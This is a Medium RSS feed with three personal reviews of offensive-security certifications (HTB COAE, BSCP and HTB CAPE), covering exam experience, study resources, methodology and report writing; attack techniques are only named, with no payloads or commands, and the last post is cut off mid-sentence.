<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alejandro Perez on Medium]]></title>
        <description><![CDATA[Stories by Alejandro Perez on Medium]]></description>
        <link>https://medium.com/@4le26x?source=rss-94f6bf81acfd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*sRJHfnzNWiZPdlMx</url>
            <title>Stories by Alejandro Perez on Medium</title>
            <link>https://medium.com/@4le26x?source=rss-94f6bf81acfd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 12:30:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@4le26x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB COAE Review: My Experience with the Certified Offensive AI Expert]]></title>
            <link>https://medium.com/@4le26x/htb-coae-review-my-experience-with-the-certified-offensive-ai-expert-73062f953e07?source=rss-94f6bf81acfd------2</link>
            <guid isPermaLink="false">https://medium.com/p/73062f953e07</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[ai-hacking]]></category>
            <dc:creator><![CDATA[Alejandro Perez]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 02:58:03 GMT</pubDate>
            <atom:updated>2026-09-25T02:58:03.608Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Hack The Box COAE Certified Offensive AI Expert graphic with an illustrated robotic AI brain." src="https://cdn-images-1.medium.com/max/1024/1*x6oE_fNahlMwVUAKyE3FPA.png" /></figure><h3>Introduction: A New Domain, but Not Completely Unfamiliar</h3><p>Going into the HTB Certified Offensive AI Expert exam felt like stepping into a new area of offensive security.</p><p>AI security introduces a different attack surface, different terminology, and, in some cases, a completely different way of thinking about exploitation. But at the same time, it did not feel entirely unfamiliar.</p><p>A lot of the fundamentals I already knew from web application security still transferred.</p><figure><img alt="Diagram showing a user, web application, LLM, and external APIs, tools, and data, with trust boundaries between them." src="https://cdn-images-1.medium.com/max/1024/1*bXlrrPkC095G9QdDKi6yrw.png" /></figure><p>You are still looking at how an application handles input, what the system trusts, what functionality is exposed, what privileges exist behind the application, and how different components interact with each other.</p><p>The difference is that now there may be an LLM sitting in the middle of that process.</p><h3>My Background Before COAE</h3><p>I had also explored AI and LLM security at a basic level through an internship involving LLM-related research. However, that work was not focused on AI red teaming or offensive AI security.</p><p>So while I had some familiarity with LLMs, the offensive side of AI was still a new domain for me.</p><figure><img alt="Diagram of my transition from traditional pentesting through early LLM research to COAE and AI red teaming." src="https://cdn-images-1.medium.com/max/1024/1*6A1NPOScmrgCc5uAO0nN4g.png" /></figure><p>It brought two areas together: the offensive-security methodology I was already comfortable with and a completely new attack surface I wanted to understand.</p><h3>What COAE Covers</h3><p>The certification is built around the material from the AI Red Teamer path, and my experience matched that expectation. The path covered the AI-specific material I needed; my web security background helped me apply it.</p><figure><img alt="COAE skill map covering prompt injection, application security, adversarial ML, data attacks, AI privacy, AI systems, and defense." src="https://cdn-images-1.medium.com/max/1024/1*AuL-xgsbocp7Ssmjxkm7NQ.png" /></figure><p>The path spans adversarial ML, data attacks, LLM exploitation, AI application security, and privacy attacks.</p><h3>Why Web AppSec Helps a Lot</h3><p>One recommendation I would make before COAE is to have at least some basic web application security knowledge.</p><figure><img alt="Diagram showing how web application authorization, input handling, API permissions, and unsafe output connect to LLM security." src="https://cdn-images-1.medium.com/max/1024/1*moCjNW1eNvsK3O0BogNR2w.png" /></figure><p>An AI vulnerability does not always exist in isolation.</p><p>The model may have access to an API.</p><p>The API may have excessive privileges.</p><p>The application’s output may be handled insecurely.</p><p>The agent may have access to something the user normally cannot reach.</p><p>Suddenly, traditional AppSec and AI security can become part of the same attack chain.</p><h3>My Exam Timeline: Four Days Hacking, Three Days Reporting</h3><p>I had seven days.</p><p>My hands-on portion took approximately four days.</p><p>That gave me the remaining three days to concentrate heavily on the report.</p><figure><img alt="Seven-day COAE exam timeline: four days of hands-on testing followed by three days of reporting." src="https://cdn-images-1.medium.com/max/1024/1*iP2ZWjnFPC49sUBopszzQg.png" /></figure><p>I intentionally planned it that way.</p><p>After taking other HTB practical certifications, I knew that getting the technical objectives was only part of the job.</p><p>The report matters.</p><p>A lot.</p><p>The hacking stopped being the priority.</p><p>The report became the exam.</p><h3>Reporting: Do Not Treat It Like an Afterthought</h3><p><strong>Your report is part of the exam.</strong></p><figure><img alt="Reporting workflow from finding and evidence through reproduction, impact, and remediation." src="https://cdn-images-1.medium.com/max/1024/1*r7Wm3nno5E48QgnL83dWVA.png" /></figure><p>A technical evaluator should be able to understand:</p><ul><li>what you found</li><li>how you found it</li><li>how you validated it</li><li>why it matters</li><li>what evidence proves it</li><li>how someone could reproduce it</li><li>how the organization should fix it</li></ul><p>I spent three full days on the report because I wanted to remove ambiguity wherever possible.</p><p>Maybe that was excessive.</p><p>I do not regret it.</p><h3>And Then I Waited</h3><p>Submitting the report felt good.</p><p>For about five minutes.</p><p>Then the waiting started. I was hoping to hear back around day 20, although HTB states that reviews can take up to <strong>20 business days</strong>.</p><figure><img alt="My COAE journey timeline: four days testing, three days reporting, submission, waiting, and a pass result on day 25." src="https://cdn-images-1.medium.com/max/1024/1*KFe0S2mx_ayG0rqKGWO9Sg.png" /></figure><p>Day 20 came.</p><p>Nothing.</p><p>I contacted HTB support, and they told me they were handling a high volume of reports and would prioritize my review.</p><p>Once I submitted the report, the outcome was completely out of my hands.</p><p>That uncertainty was probably the hardest part of the wait.</p><p><strong>Day 25.</strong></p><p>The result arrived.</p><p><strong>Passed.</strong></p><h3>AI Red Teaming Is More Than Prompt Injection</h3><p>Another thing COAE reinforced for me is that AI security is much larger than prompt injection.</p><figure><img alt="AI red teaming map showing prompt injection alongside agents, data attacks, adversarial ML, privacy attacks, AI applications, and defenses." src="https://cdn-images-1.medium.com/max/1024/1*PH7V_r_g1CHNYrLhZOrJaA.png" /></figure><p>You start realizing that an AI system is not just the model.</p><p>It is:</p><p><strong>Model + Data + Application + APIs + Tools + Permissions + Infrastructure + Users.</strong></p><figure><img alt="Layered AI attack surface spanning users, applications, agents, models, tools and APIs, data, and infrastructure." src="https://cdn-images-1.medium.com/max/1024/1*h8aWRoVc1CX1lOeX6QZxIQ.png" /></figure><p>Attack any one of those layers badly enough, and the “AI security problem” may actually look a lot like an application-security problem.</p><h3>Where Traditional Pentesting Skills Transfer</h3><p>If you come from offensive security, do not underestimate what you already know.</p><figure><img alt="Venn diagram comparing traditional pentesting and AI red teaming, with shared skills including enumeration, trust boundaries, attack chaining, and reporting." src="https://cdn-images-1.medium.com/max/1024/1*YC7Y6byJIYuJbPSBPWSPTA.png" /></figure><p>The syntax changes.</p><p>The technology changes.</p><p>The methodology does not disappear.</p><h3>Extra Practice I Recommend</h3><figure><img alt="Graphic showing the COAE path as primary training, with HackingHub, PortSwigger Web LLM Attacks, and Gandalf as optional practice resources." src="https://cdn-images-1.medium.com/max/1024/1*CAHM7iNQffF8CBsapfBugQ.png" /></figure><ul><li><strong>HackingHub — AI / Machine Learning:</strong> <a href="https://app.hackinghub.io/">HackingHub</a> — filter challenges by <strong>AI / Machine Learning</strong>.</li><li><strong>PortSwigger Web Security Academy:</strong> <a href="https://portswigger.net/web-security/learning-paths/llm-attacks">Web LLM Attacks</a> — excellent practice for prompt injection, excessive agency, APIs, and LLM application attacks.</li><li><strong>Gandalf by Lakera:</strong> <a href="https://gandalf.lakera.ai/">Play Gandalf</a> — useful for practicing prompt injection and secret extraction.</li></ul><h3>Reviews and Videos That Helped Me Prepare</h3><p>I also read several COAE reviews before taking the exam. They were helpful for understanding other candidates’ experiences, preparation strategies, and especially the importance of reporting.</p><p>A few that helped me were:</p><ul><li><a href="https://dusanjevtic.com/blog/coae-review">Dusan Jevtic — COAE Review</a></li><li><a href="https://juliangr.com/blog/certification-review-htb-coae/">Julián Gómez — HTB COAE Review</a></li><li><a href="https://bytebreach.com/posts/2026/passing-the-certified-offensive-ai-expert-exam/">ByteBreach — Passing the COAE Exam</a></li><li><a href="https://felixbillieres.github.io/posts/htb-coae-offensive-ai-expert-retex/">Elliot Belt — COAE Retex</a></li><li><a href="https://jacobkrell.com/writeups/learning-resources/hack-the-box-academy-ai-red-teamer">Jacob Krell — AI Red Teamer &amp; COAE Review</a></li><li><a href="https://dragkob.com/articles/coae-review/">Dragkob — COAE Review</a></li></ul><p>I also watched <strong>Kenny Strawn’s YouTube channel</strong>, especially his videos about HTB certifications such as <strong>COAE, CAPE, and CPTS</strong>. His exam reflections and preparation advice were very helpful because they gave me another candidate’s perspective on what to expect and how to approach these practical certifications.</p><ul><li><a href="https://www.youtube.com/@kennystrawnmusic">Kenny Strawn — YouTube</a></li></ul><p>These resources were not required, but the reviews and videos helped me understand what to expect and feel better prepared for the exam.</p><h3>Advice for Future COAE Candidates</h3><p>My biggest recommendation is simple:</p><p><strong>Trust the path.</strong></p><figure><img alt="COAE preparation pyramid with the HTB AI Red Teamer path as the foundation, review of weak areas in the middle, and optional labs at the top." src="https://cdn-images-1.medium.com/max/1024/1*gDQ0VfIkrOhYJpoRShzg_Q.png" /></figure><p>Study it properly.</p><p>Do the exercises.</p><p>Understand the code.</p><p>Do not just execute notebooks until you get the expected result.</p><p>When an attack works, ask why.</p><p>When a defense fails, ask why.</p><h3>Final Verdict: Was COAE Worth It?</h3><p>For me, COAE was worth it.</p><p>What I liked most was that it gave me a practical introduction to a side of offensive security that is still relatively new to me.</p><figure><img alt="Hack The Box COAE certificate awarded to Alejandro Pérez Hernández on September 22, 2026." src="https://cdn-images-1.medium.com/max/1024/1*44lKVd8Y-OYDpX7cDA6uRA.png" /></figure><p>The exam itself was enjoyable, and writing the report made me document my findings carefully. Waiting 25 days for the result was the least enjoyable part.</p><p><strong>Passed.</strong></p><p>Seeing that result made the whole experience worth it.</p><p>COAE did not feel like the end of learning AI security.</p><p>If anything, it showed me how much more there is to explore.</p><p>And that is probably the best thing I can say about the certification:</p><p><strong>it left me wanting to go deeper.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73062f953e07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Four Hours Changed Everything: My BSCP Exam Experience]]></title>
            <link>https://medium.com/@4le26x/four-hours-changed-everything-my-bscp-exam-experience-80e399d19b63?source=rss-94f6bf81acfd------2</link>
            <guid isPermaLink="false">https://medium.com/p/80e399d19b63</guid>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[Alejandro Perez]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 01:22:34 GMT</pubDate>
            <atom:updated>2026-09-22T01:33:38.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n182xuDBfW9yfxwjEMsw3A.png" /></figure><p>I have spent a lot of time doing CTFs, Hack The Box machines, Active Directory environments, and practical certification exams.</p><p>OSCP taught me persistence.</p><p>CPTS taught me methodology.</p><p>CAPE pushed me hard on Active Directory attack chaining.</p><p>But BSCP tested something different: <strong>speed.</strong></p><p>Not blindly throwing payloads at an application.</p><p>I mean looking at an unfamiliar web application, understanding its behavior, identifying what matters, forming a hypothesis, exploiting it, and moving forward before the clock becomes your biggest enemy.</p><p>Web exploitation has also been one of the areas where I have felt less confident. Even after certifications like OSCP, CPTS, CRTP, CRTO, and CAPE, web security still felt like a different universe.</p><p>The problem was not that I had not studied.</p><p>The problem was knowing I had only <strong>four hours to apply everything I had learned</strong>.</p><p>During a normal PortSwigger lab, you can stop, read documentation, experiment, and come back later.</p><p>During BSCP, every rabbit hole has a price.</p><p><strong>You do not need to test everything. You need to recognize what deserves your time.</strong></p><figure><img alt="Four-panel meme showing a woman asking whether four hours is enough for the BSCP exam." src="https://cdn-images-1.medium.com/max/1024/1*xOIEYOgWJv4F7r8FMyZ8eg.png" /></figure><h3>Why I Took BSCP</h3><p>My goal was simple:</p><p><strong>I wanted to pressure-test my web application security skills.</strong></p><p>I already felt comfortable with infrastructure pentesting, Active Directory, enumeration, pivoting, exploitation, and attack-path reasoning.</p><p>But web applications demand another type of attention.</p><p>Tiny details matter:</p><ul><li>parameters</li><li>cookies</li><li>headers</li><li>encoding</li><li>session state</li><li>HTTP methods</li><li>authentication</li><li>authorization</li><li>application logic</li></ul><p>Sometimes a single character changes everything.</p><p>I also liked the learning approach I developed while working through the Web Security Academy:</p><p><strong>Read. Understand. Exploit. Repeat.</strong></p><p>The challenge with BSCP is that nobody tells you:</p><blockquote><em>“This is an SQL injection lab.”</em></blockquote><p>You have to figure that out yourself.</p><p>And that difference is huge.</p><h3>How I Prepared</h3><p>My main preparation resource was the <strong>PortSwigger Web Security Academy</strong>.</p><p>I focused heavily on practitioner-level labs, mystery labs, and practice exams.</p><p>The important shift was going from:</p><blockquote><em>“I solved this lab before.”</em></blockquote><p>to:</p><blockquote><em>“Can I recognize this vulnerability without being told what it is?”</em></blockquote><p>Mystery labs were especially valuable because they remove the biggest hint: the vulnerability category.</p><p>Now you have to enumerate, observe, form hypotheses, test them, and decide what is actually important.</p><p>That is much closer to the real exam experience.</p><h3>Resources That Helped Me</h3><p>PortSwigger Academy was the technical foundation, but community resources gave me something else:</p><p><strong>context about the exam itself.</strong></p><p>One resource I found particularly useful was:</p><p><a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study">Burp Suite Certified Practitioner Exam Study — botesjuan</a></p><p>The repository contains BSCP-focused notes, payloads, code, wordlists, and additional material.</p><p>I used it mainly as a reference rather than something to memorize.</p><p>I also found Ryan Beebe’s Medium review useful:</p><p><a href="https://medium.com/@ryan.beebe/burp-suite-certified-practitioner-exam-review-9077b14f8eb1">Burp Suite Certified Practitioner Exam Review — Ryan Beebe</a></p><p>Reviews like this helped me understand the pressure, pacing, rabbit holes, and overall structure before starting the real exam.</p><p>I also watched BSCP preparation and experience videos such as:</p><ul><li><a href="https://www.youtube.com/watch?v=npl7cenAHlY&amp;t=560s">BSCP video #1</a>: Burp Suite Certified Practitioner (BSCP) Review + Tips/Tricks — CryptoCat</li><li><a href="https://www.youtube.com/watch?v=L-3jJTGLAhc&amp;t=183s">BSCP video #2</a>: The BSCP Certification Review — PinkDraconian</li></ul><p>These resources gave me useful insights into:</p><ul><li>exam format</li><li>time management</li><li>Burp workflow</li><li>preparation strategy</li><li>common mistakes</li><li>exam-day tips and tricks</li></ul><p>PortSwigger taught me the vulnerabilities.</p><p>The community helped me understand <strong>how to approach the exam</strong>.</p><figure><img alt="Graphic titled Resources that helped me prepare, showing PortSwigger Web Security Academy, GitHub, Medium, and YouTube." src="https://cdn-images-1.medium.com/max/1024/1*lIqLN5WRuqXzmCZFuheCcA.png" /></figure><h3>Exam Day</h3><figure><img alt="SpongeBob SquarePants looking anxious in a classroom." src="https://cdn-images-1.medium.com/max/498/1*BFvinN2e_8wP9a-MyyiysA.png" /></figure><p>I started the exam on <strong>September 19 at around 1:00 AM</strong> and finished close to <strong>4:00 AM</strong>.</p><p>Why did I start a four-hour practical exam at 1 AM instead of waiting until the middle of the day?</p><p>Honestly, I do not know. 😆</p><p>I just felt locked in at that moment.</p><figure><img alt="Small image of a cat beside the words Time to lock in." src="https://cdn-images-1.medium.com/max/236/0*_hGA2qlvEJkP7v0j" /></figure><p>I had been studying, everything was ready, and instead of overthinking it or waiting for the “perfect” time, I decided to start.</p><p>Burp was ready.</p><p>Browser was ready.</p><p>Notes were ready.</p><p>And then the timer started.</p><p>Instead of thinking:</p><blockquote><em>“I need to compromise two applications.”</em></blockquote><p>I tried to break everything into smaller objectives.</p><p><strong>Get user access.</strong></p><p>Reassess.</p><p><strong>Reach administrative access.</strong></p><p>Reassess.</p><p><strong>Reach the final objective.</strong></p><p>Move on.</p><p>One stage at a time.</p><h3>The Biggest Trap: Trying to Be Too Clever</h3><p>One mistake I noticed was assuming that because BSCP was difficult, every vulnerability had to be complicated.</p><p>That mindset is dangerous.</p><p>Instead of asking:</p><blockquote><em>“What advanced vulnerability could PortSwigger have hidden here?”</em></blockquote><p>the better question was:</p><blockquote><em>“What is the application actually showing me?”</em></blockquote><p>So I went back to fundamentals:</p><ul><li>map functionality</li><li>inspect requests</li><li>examine parameters</li><li>compare responses</li><li>use Scanner selectively</li><li>validate manually</li><li>test assumptions</li></ul><p>BSCP reminded me that advanced pentesting often means doing basic things extremely well.</p><figure><img alt="Meme advising testers to check obvious parameters and consider request smuggling, HTTP/2 downgrades, and other techniques." src="https://cdn-images-1.medium.com/max/553/1*ecb-5t9tTZDQxIx8RWDKAQ.png" /></figure><h3>Burp Repeater Was Home</h3><p>Repeater was probably the Burp feature I appreciated the most.</p><figure><img alt="Diagram of a web testing workflow: Send, Modify, Observe, Compare, and Repeat." src="https://cdn-images-1.medium.com/max/1008/1*MczdFMV0r7P-NXlRgYlEuA.png" /></figure><p>What is controlled by the user?</p><p>What changes server behavior?</p><p>What affects authorization?</p><p>What survives between requests?</p><p>What changes when the session changes?</p><p>Good web pentesting often comes down to asking increasingly precise questions about HTTP behavior.</p><figure><img alt="Drake meme contrasting repeated payloads with changing one variable and comparing responses." src="https://cdn-images-1.medium.com/max/675/1*ZWjYBTVwzUwHR-ZaoDXFnA.png" /></figure><h3>The Clock Was the Real Vulnerability</h3><p>Four hours goes by quickly.</p><p>Five minutes here.</p><p>Ten minutes testing the wrong theory.</p><p>Twenty minutes thinking:</p><blockquote><em>“This should work.”</em></blockquote><p>Suddenly an hour is gone.</p><p>One of the most important lessons was not becoming emotionally attached to an attack path.</p><p>If the evidence does not support the theory:</p><p><strong>change the hypothesis.</strong></p><p>The application does not care how much you like your exploit idea.</p><p>Follow the evidence.</p><figure><img alt="Meme showing a person becoming increasingly made up while text reads This should work, Maybe I just need encoding, Maybe double encoding, 45 minutes gone." src="https://cdn-images-1.medium.com/max/1024/1*RIKRdLsU6bIxopntRcUpLg.png" /></figure><h3>My Hardest Moment</h3><p>My hardest point came around <strong>2 hours and 40 minutes into the exam</strong>. I had already completed the first application and Stage 1 of the second one.</p><p>Then I stopped moving.</p><p>I started questioning the vulnerability.</p><p>Then the payload.</p><p>Then Burp.</p><p>Then my methodology.</p><p>This is where practical exams start becoming psychological.</p><p>After enough failed attempts, you stop questioning individual hypotheses and start questioning your entire approach.</p><p>That is dangerous.</p><p>So I went back to one simple question:</p><p><strong>What do I actually know?</strong></p><p>Not what I assume.</p><p>Not what I expect.</p><p>What do I actually have evidence for?</p><p>I went back through my notes and methodology and started checking whether I had really tested everything related to the vulnerability I suspected.</p><p>Then I returned to the loop:</p><p><strong>Enumerate. Test. Observe. Re-enumerate.</strong></p><p>I realized there was still something I had not properly explored.</p><p>About 30 minutes later…</p><p><strong>boom.</strong></p><p>The vulnerability worked.</p><p>I was able to escalate privileges; from there, the final stage was relatively straightforward.</p><p>That moment reinforced something I keep learning from practical exams:</p><p>Being stuck is not always solved by throwing more payloads at the target.</p><p>Sometimes the answer is already somewhere in your methodology.</p><p><strong>You just skipped a step.</strong></p><h3>What BSCP Actually Tests</h3><p>For me, BSCP tested five major skills:</p><ul><li><strong>Vulnerability recognition</strong> — Can you identify the bug without being told what it is?</li><li><strong>Exploitation</strong> — Can you turn suspicious behavior into impact?</li><li><strong>Burp proficiency</strong> — Can you use your tooling efficiently?</li><li><strong>Methodology</strong> — Can you systematically investigate an unfamiliar application?</li><li><strong>Time management</strong> — Can you abandon the wrong path before it destroys your exam?</li></ul><p>That last one mattered more than I expected.</p><h3>Advice for Future BSCP Candidates</h3><p>Do not treat Web Security Academy like a checklist.</p><p>Finishing hundreds of labs means very little if you always need the solution.</p><p>Focus on independence.</p><p>Use:</p><ul><li>mystery labs</li><li>practice exams</li><li>practitioner labs</li><li>Repeater</li><li>targeted Scanner usage</li><li>manual request analysis</li><li>compact notes and cheat sheets</li></ul><p>And most importantly:</p><p><strong>understand why the exploit works.</strong></p><p>If your knowledge is:</p><blockquote><em>“Paste this payload here.”</em></blockquote><p>a small implementation change can stop you.</p><p>If your knowledge is:</p><blockquote><em>“The application trusts this input here, and I need to break that assumption.”</em></blockquote><p>you can adapt.</p><p>That is the skill BSCP is really testing.</p><h3>BSCP Compared With OSCP, CPTS, and CAPE</h3><p>I do not think a direct difficulty comparison is completely fair because they test different areas.</p><p>OSCP is broader infrastructure pentesting.</p><p>CPTS emphasizes comprehensive methodology.</p><p>CAPE focuses heavily on Active Directory attack chaining.</p><p>BSCP is narrower but extremely concentrated.</p><p>For someone with an infrastructure and Active Directory background like mine, BSCP helped fill an important gap.</p><p>It forced me to start thinking more like a web application pentester.</p><h3>Was BSCP Worth It?</h3><p>For me, <strong>yes</strong>.</p><p>Not because another certification automatically gets you a job.</p><p>And not because BSCP suddenly makes someone an expert web pentester.</p><p>It was worth it because preparing for it made me better at web application security.</p><p>Preparing for it forced me to move from:</p><blockquote><em>“Can I solve this lab?”</em></blockquote><p>to:</p><blockquote><em>“Can I recognize this vulnerability when nobody tells me what I am looking for?”</em></blockquote><p>That is a much higher bar.</p><p>The certificate is nice.</p><p><strong>The skill is better.</strong></p><h3>Final Thoughts</h3><p>After OSCP, CPTS, CRTP, CRTO, CAPE, and BSCP, one lesson continues to repeat itself:</p><p><strong>Methodology wins.</strong></p><p>Eventually every practical certification reaches the same moment.</p><p>You are stuck.</p><p>The obvious things did not work.</p><p>The clock is moving.</p><p>Nobody is going to tell you what to try next.</p><p>That is where methodology matters.</p><p>BSCP gave me four hours to test mine against web applications.</p><p>It exposed weaknesses.</p><p>It made me faster with Burp.</p><p>It improved my web methodology.</p><p>And most importantly, it reminded me that web exploitation is not about having the biggest payload collection.</p><p>It is about understanding an application well enough to recognize when it does something it should not.</p><p>That is what made BSCP worth it.</p><figure><img alt="Burp Suite Certified Practitioner badge with purple lightning." src="https://cdn-images-1.medium.com/max/1024/1*-A02h1HYBBu2DUe4aibwfQ.png" /></figure><p><strong>Another checkpoint in the offensive security journey.</strong></p><ul><li>Study hundreds of PortSwigger labs.</li><li>Pass BSCP.</li><li>Tell yourself you are finally done with web labs.</li><li><strong>Immediately start looking at the next challenge.</strong></li></ul><p>And just like that, BSCP is in the books.</p><ul><li>The next goal?</li></ul><p><strong>HTB Certified Web Exploitation Expert (CWEE). Let’s go. 😆</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80e399d19b63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB CAPE Experience and Review: 10 Days, 290 Pages, and One Brutal AD Exam]]></title>
            <link>https://medium.com/@4le26x/htb-cape-experience-and-review-10-days-290-pages-and-one-brutal-ad-exam-a1beca50f3df?source=rss-94f6bf81acfd------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1beca50f3df</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[review]]></category>
            <category><![CDATA[exam]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Alejandro Perez]]></dc:creator>
            <pubDate>Tue, 12 May 2026 00:58:37 GMT</pubDate>
            <atom:updated>2026-05-12T01:02:10.390Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H2uxFBk5oiiKIWm8.jpg" /></figure><p><em>Spoiler-free reflections on Active Directory methodology, attack chaining, reporting pressure, and why the learning path mattered more than the badge.</em></p><h3>Introduction: This Did Not Feel Like a CTF Anymore</h3><p>The second I got into the CAPE exam environment, I knew it was not going to feel like a normal cert or a CTF. I had already done OSCP, CPTS, CRTP, and CRTO before this, but CAPE felt different from the first hour.</p><p>The first few hours were rough. I was nervous, anxious, and mentally drained early. Starting on a Friday at 9 PM was a bad idea in hindsight. I pushed through until 4 AM Saturday, almost seven hours in the box, without a single flag.</p><p><strong>Zero.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWnFRG2xetNK02unFRip0w.png" /></figure><p>That first night taught me something important: CAPE does not hand you a clean attack chain. It forces you to slow down, question your assumptions, and stop moving like you are following a checklist. After seven hours of sleep, I came back, got my first flag, and finally started to find the rhythm.</p><p>My real mistake that first night was rushing. I was not validating my recon. I was not re-enumerating with different tools. I was sprinting without structure. CAPE exposed that mistake fast. When I slowed down, validated findings, and stopped trusting one tool’s output, the exam started to open up.</p><h3>Why I Decided to Take HTB CAPE</h3><p>The reason was simple: price to quality.</p><p>HTB Academy has been one of the most useful structured training platforms for how I learn: hands-on, methodical, and heavy on repetition. The Active Directory Penetration Tester path looked like the right way to build depth before going after something heavier.</p><p>My original target was OSEP, but reviews kept hinting that parts of the content were not as fresh as I wanted. So I leaned on a strategy that had already worked for me: build the foundation with HTB first.</p><p>Before my second OSCP attempt, I went through CPTS, and it sharpened my methodology in a way nothing else had. With CAPE, I wanted to do the same thing earlier, before burning an OSEP attempt the way I burned an OSCP one.</p><p>I was not taking CAPE just to add another line to LinkedIn. I wanted to pressure-test my methodology and see where my actual ceiling was.</p><h3>My Background Before CAPE</h3><p>Before walking in, I had CRTP and CRTO done, around 150 HTB machines under my belt, and a solid foundation in enumeration, exploitation, and methodology.</p><p>My most recent professional work was a SULI internship at Oak Ridge National Laboratory doing AI security research. It was great work, but it was not internal pentesting.</p><p>So I was not coming in as someone with years of enterprise pentest experience. I was coming in as someone hungry to see how far I could push myself.</p><h3>What CAPE Actually Tested</h3><p>Quick context: CAPE gives you a 10-day self-directed exam window. You get access to the environment, work through the objectives, collect flags, and write a professional penetration testing report at the end.</p><p>I had eight flags by day four, which is when I started taking the report seriously. I will not drop flag locations or attack paths, but the key thing to understand is this: flags are not the whole exam.</p><p>The report has to show that you understood what you did. Evidence, impact, remediation, screenshots, cleanup notes — all of it matters. There is also a PDF size limit, which becomes its own challenge if your report starts growing out of control.</p><p>Content-wise, CAPE covers what you would expect from modern Active Directory pentesting: DACL abuse, NTLM relay, AD trust abuse, lateral movement, MSSQL attack paths, Windows evasion, pivoting, and C2 operations.</p><p>But CAPE is not about knowing each topic in isolation. It tests whether you can chain techniques together when you are tired, when the path is unclear, and when one credential changes the entire environment.</p><p>You have to connect the dots, validate as you go, re-enumerate every time something changes, and build a coherent attack path from imperfect information.</p><p>If I had to rank it, CAPE sits above CRTP and CRTO for me. Not because every individual technique is harder, but because of how much you are juggling at once: the attack chains, the size of the environment, the reporting standard, and the constant context-switching.</p><p>Compared to the AD portion of CPTS, CAPE felt deeper and more operational.</p><blockquote><strong><em>The exam is the final. The path is the real course.</em></strong></blockquote><h3>How I Prepared for CAPE</h3><p>Most of my prep came from the HTB Active Directory Penetration Tester path. I did not jump between ten different courses. That path was the foundation.</p><p>I added Hack Smarter’s Sliver C2 course because I wanted more practical C2 reps. That helped me feel more comfortable with Sliver as an operational tool instead of just another module topic.</p><p>For notes, Obsidian was the clear choice. CAPE has too many small details to keep in your head: commands, credentials, host notes, edge cases, screenshots, weird observations, and partial attack paths.</p><p>I also got comfortable with Flameshot during the path itself. By the time the exam started, screenshotting was muscle memory. It did not interrupt my flow.</p><p>Timeline-wise, this took longer than expected. I started the path in November, finished in February, planned to take the exam in March, and then delayed it a few times because I was nervous.</p><p>I finally took it in April.</p><p>Looking back, running through the path twice is probably enough for many people if they actually study it deeply. But CAPE is not the cert I would rush.</p><h3>My Exam Strategy: Notes, Reporting, and Controlled Chaos</h3><p>During the exam, I used the note-taking template HTB provides in one of the modules. It kept everything organized: hosts, credentials, screenshots, commands, attack paths, and findings.</p><p>I paired that with Flameshot for screenshots. That combo worked perfectly for me: fast region capture, quick annotations, and clean pasting straight into Obsidian.</p><p>Obsidian and Flameshot became my control panel for the exam: Flameshot handled the evidence, and Obsidian kept the operation together.</p><p>I am not naturally a strict-checklist person. I usually work through instinct, curiosity, and what I half-jokingly call “hacking intuition.” But CAPE reminded me that instinct alone is not enough when the environment is large, the chain is unclear, and fatigue starts affecting your judgment.</p><p>Early on, my priority was simple: get enough flags to feel safe. Around day four, I hit another wall. By then, I had eight flags, which gave me enough room to stop chasing and start building the report properly.</p><p>And yes, I wrote the report in LaTeX.</p><p><strong>I know. LaTeX.</strong></p><p>But I am a nerd and a tech person, so what did you expect? Word? Of course not. I wrote it in LaTeX using Neovim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*cA088O9u5eKdOOm_.jpg" /></figure><p>By day six, the report was mostly done. After that, I went back into full try-hard mode for the remaining flags. Each one took almost a full day to crack, but those were the most satisfying flags of the entire exam.</p><h3>Reporting, Submission, and the Longest 20 Days</h3><p>If I were doing this again, I would start the report earlier.</p><p>People say “write as you go,” and after CAPE, I finally understand why. Starting on day four worked out, but it made the reporting phase heavier than it needed to be.</p><p>Next time, I would document each finding the moment I confirmed it:</p><ul><li>clean Flameshot capture</li><li>command used</li><li>affected host</li><li>impact</li><li>remediation</li><li>cleanup notes</li><li>proof that the issue was 